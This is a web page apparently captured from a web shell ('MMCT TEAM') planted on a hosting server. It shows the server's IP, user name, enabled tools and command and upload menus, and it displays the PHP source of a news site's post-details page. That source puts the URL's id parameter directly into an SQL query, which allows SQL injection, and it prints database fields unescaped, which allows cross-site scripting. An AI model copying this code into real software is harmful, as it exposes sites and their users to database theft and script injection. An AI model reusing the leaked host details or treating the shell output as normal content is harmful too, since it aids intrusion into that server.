MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/localapp/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/localapp/post-details.php
<!doctype html>
<html class="no-js" lang="en">


<?php require "inc/head.php"; ?> 

<body>

<!-- Main Wrapper -->
<div id="main-wrapper">
    
    <!-- Header Top Start -->
    <?php require "inc/header.php"; ?> 
    <!-- Menu Section End -->
    
    <!-- Breaking News Section Start -->
    <div class="breaking-news-section section">
        <div class="container">
            <div class="row">
                <div class="col-12">
                   
                    <!-- Breaking News Wrapper Start -->
                    <div class="breaking-news-wrapper">

                        <!-- Breaking News Title -->
                        <h5 class="breaking-news-title float-start">Breaking News</h5>

                        <!-- Breaking Newsticker Start -->
                        <ul class="breaking-news-ticker float-start">
                            <li><a href="#">Tell me what you today, And i ‘ll tell you who you are!!!</a></li>
                            <li><a href="#">Fashion is about some thing that comes from with in you.</a></li>
                            <li><a href="#">Australia announced squad for Bangladesh tour.</a></li>
                            <li><a href="#">How group of rebel are talking on Banasree epidemic.</a></li>
                        </ul><!-- Breaking Newsticker Start -->

                        <!-- Breaking News Nav -->
                        <div class="breaking-news-nav">
                            <button class="news-ticker-prev"><i class="fa fa-angle-left"></i></button>
                            <button class="news-ticker-next"><i class="fa fa-angle-right"></i></button>
                        </div>
                        
                    </div><!-- Breaking News Wrapper End -->
                    
                </div>
            </div>
        </div>
    </div><!-- Breaking News Section End -->
    
    <!-- Post Header Section Start -->




    <?php
    
      $id = $_GET['id'];
  
      $query = "SELECT news.id, news.news_title, news.photo, news.created_at, news.short_description, news.news_description, news.status,
          vendor.name AS reporter_name, vendor.id AS reporter_id,
          categories.cat_name 
      FROM news
      LEFT JOIN vendor ON news.reporter_id = vendor.id
      LEFT JOIN categories ON news.category_id = categories.id
      WHERE news.id = '$id'"; // Fetch specific approved news
  
      $query_run = mysqli_query($conn, $query);
  
      if (mysqli_num_rows($query_run) > 0) {
          foreach ($query_run as $row) {
              // Output data
    
        // $query = "SELECT * FROM news WHERE id='$id'";
        // $query_run = mysqli_query($conn, $query);
        // if (mysqli_num_rows($query_run) > 0) {
        //     foreach ($query_run as $row) {
        ?>

    <div class="post-header-section section mt-30 mb-30">
        <div class="container">
            <div class="row row-1">
               
                <!-- Page Banner Start -->
                <div class="col-12">
                    <div class="post-header" style="background-image: url(img/bg/page-banner-fashion.jpg)">
                        
                        <!-- Title -->
                        <h3 class="title"><?php echo $row['news_title']; ?></h3>
                        
                        <!-- Meta -->
                        <div class="meta fix">
                            <a href="#" class="meta-item category fashion"><?php echo $row['cat_name']; ?></a>
                            <a href="#" class="meta-item author"><i class="fa fa-user"></i> <?php echo $row['reporter_name'] ?></a>
                            <span class="meta-item date"><i class="fa fa-clock-o"></i><?php echo date("d M Y", strtotime($row['created_at'])); ?></span>
                            <!-- <a href="#" class="meta-item comments"><i class="fa fa-comments"></i>(38)</a>
                            <span class="meta-item view"><i class="fa fa-eye"></i>(3483)</span> -->
                        </div>
                        
                    </div>
                </div>
                
            </div>
        </div>
    </div>

    <div class="post-section section">
        <div class="container">
            
            <!-- Feature Post Row Start -->
            <div class="row">
                
                <div class="col-lg-8 col-12 mb-50">
                    
                    <!-- Post Block Wrapper Start -->
                    <div class="post-block-wrapper mb-50">
                        
                        <!-- Post Block Body Start -->
                        <div class="body">
                            <div class="row">

                                <div class="col-12">
                                   
                                    <!-- Single Post Start -->
                                    <div class="single-post">
                                        <div class="post-wrap">

                                            <!-- Content -->
                                            <div class="content">

                                                <!-- Description -->
                                                <p class="dropcap"><?php echo $row['news_description'] ?></p>

                                                <p><img class="float-end" src="<?php echo "vendor/news/" . $row['photo']; ?>" alt="post">
                                               
                                              
                                            </div>

                                    

                                        </div>
                                    </div><!-- Single Post End -->
                                    
                                </div>
                                
                            </div>
                        </div><!-- Post Block Body End -->
                        
                    </div><!-- Post Block Wrapper End -->
                  
                        
         
                    
               
                    
                
                    
                </div>
                
        
                
            </div><!-- Feature Post Row End -->
            
        </div>
    </div>


    <?php }} ?>
    
 
    

    

    
    
</div>


<!-- JS
============================================ -->

<!-- jQuery JS -->
<script src="js/vendor/jquery-3.6.0.min.js"></script>
<script src="js/vendor/jquery-migrate-3.3.2.min.js"></script>
<!-- Bootstrap JS -->
<script src="js/bootstrap.bundle.min.js"></script>
<!-- Plugins JS -->
<script src="js/plugins.js"></script>
<!-- ycp JS -->
<script src="js/ycp.js"></script>
<!-- Main JS -->
<script src="js/main.js"></script>

</body>


<!-- Mirrored from htmldemo.net/khobor/khobor/post-details.html by HTTrack Website Copier/3.x [XR&CO'2014], Sat, 11 Jan 2025 10:29:52 GMT -->
</html>

MMCT - 2023